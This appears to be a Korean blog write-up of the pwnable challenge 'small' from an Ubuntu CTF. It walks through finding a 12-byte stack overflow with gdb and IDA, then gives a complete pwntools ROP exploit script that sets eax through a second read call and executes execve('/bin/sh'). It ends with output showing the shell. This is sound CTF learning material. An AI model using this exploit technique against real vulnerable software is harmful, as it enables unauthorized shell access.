지난 11월5일에 있었던 우분투CTF의 문제중 포너블 분야의 small문제를 풀어보겠다.
간단한 문제라고 하던데 나는 푸는데 좀 어려움을 느꼇다!
small문제의 파일이다 가상머신에 두고 풀어보자.
$ ./small
11111111111
문제를 실행하면 값을 받고 바로 꺼지는 것을 확인할 수 있다.
버퍼오버플로우가 되는지 확인하기 위해서 값을 더 넣어 보겠다.
$ ./small
aaaabbbbccccddddeeee
Segmentation fault (core dumped)
버퍼오버플로우가 되는 것을 볼 수 있다.
그럼 gdb랑ida로 열어보자.
일단 gdb로 열어서 값을 몇개를 채워야지 saved eip를 덮을 수 있는지 확인하자.
saved eip가 덮이기 전에 eip가 덮인 것을 볼 수 있다.
eip가 덮이면 어쩌피 그쪽으로 흐름을 변조할 수 있기 때문에
eip 전까지인 aaaabbbbcccc인 총12개의 글자가 들어가면 오버플로우가 들어가는 것을 알 수 있다.
이번에는 ida로 파일을 열어서 정확하게 무슨 코드인지 확인을 해보겠다.
main에서 read함수를 부르는 것을 볼 수 있다.
그럼 read함수로 들어가보자
우리가 알던 read 함수와는 다른 것을 알 수 있다.
문제자가 read함수를 다시만든것으로 보인다.
우리는 여기있는 가젯들을 이용해서 ROP기법을 사용해서 쉘을따도록하겠다.
smallexploit.py
#!/usr/bin/python
from pwn import *
e = ELF("small")
read_f = e.symbols['read'] #read의 symbols
bss = 0x0804a018 #execve argument를 넣는다
pppr = 0x08048413 #pop pop pop ret 가젯
fake_ebp = bss-0x8
syscall = 0x08048406
payload = ''
payload += 'a'*12 #bufferoverlow
# STAGE 1
payload += p32(read_f) # read(0,bss,0xff) : overflow + execve argv
payload += p32(pppr)
payload += p32(0)
payload += p32(bss)
payload += p32(0xff)
# STAGE 2
payload += p32(read_f) # read(0,bss+0x20,0xff) : eax control
payload += p32(pppr-1) # ppppr : ebp control
payload += p32(0) # pop ebx
payload += p32(bss+0x20) # pop esi
payload += p32(0xff) # pop edi
payload += p32(fake_ebp) # pop ebp
# STAGE 3
payload += p32(syscall) # ret
bss_data = ''
bss_data = p32(bss+0x14) # arg1 file path
bss_data += p32(bss+0xc) # arg2 array
bss_data += p32(0) # arg3 NULL
bss_data += p32(bss+0x14) # "/bin/sh" = array["/bin/sh",NULL]
bss_data += p32(0) # NULL = array["/bin/sh",NULL]
bss_data += "/bin/sh\x00"
p = process("small")
raw_input()
p.sendline(payload) # Overflow
sleep(0.5)
p.sendline(bss_data) # Stage 1
sleep(0.5)
p.sendline("A"*10) # Stage 2 #개행까지 붙어있으므로 11을보내는 것이다.
sleep(0.5)
설명을 덧붙이겠다.
bss에 bss_data를 read를 통해서 넣어준다.
그후 read를 또 사용을 한다.
systemcall을 하기위해 eax를 맞춰주기 위해서인데,
execve의 eax에는 11을 넣어야 한다.
함수를 호출 한 후에는 반환값을 eax에 넣기 때문에 read를 통해 10을 넣어준것이다.
.
그리고 fake_ebp에는 왜 bss가아닌 bss-0x8을 주었냐하면
pop ebp로 fake_ebp의 값이 ebp에 로딩이 될 것이다.
syscall은 read함수의
mov ebx, [ebp+fd] 부분이다.
ebp를 그냥넣어주면 bss를 넣어주면 될테지만 값이 8인 fd가 들어가 있는 것이 보인다.
-8을해주어서 bss를 제대로 가리키기 위해서이다.
익스플로잇 코드를 실행해 보자.
$ ./smallexp.py
[*] '/home/chanho/day8/small'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[!] Could not find executable 'small' in $PATH, using './small' instead
[+] Starting local process './small': pid 29286
[*] Switching to interactive mode
$
'SYSTEM HACKING > 문제 풀이' 카테고리의 다른 글
[ROP 문제]2013 Pico ctf rop-3 (0) | 2017.12.18 |
---|---|
[ROP 문제]2013 Pico ctf rop-2 (0) | 2017.12.13 |
[ROP 문제]2013 Pico ctf rop-1 (0) | 2017.12.13 |
[ROP 문제]DEFCON2015문제 r0pbaby (0) | 2017.12.11 |
[ROP 문제]ropasaurusrex (0) | 2017.11.24 |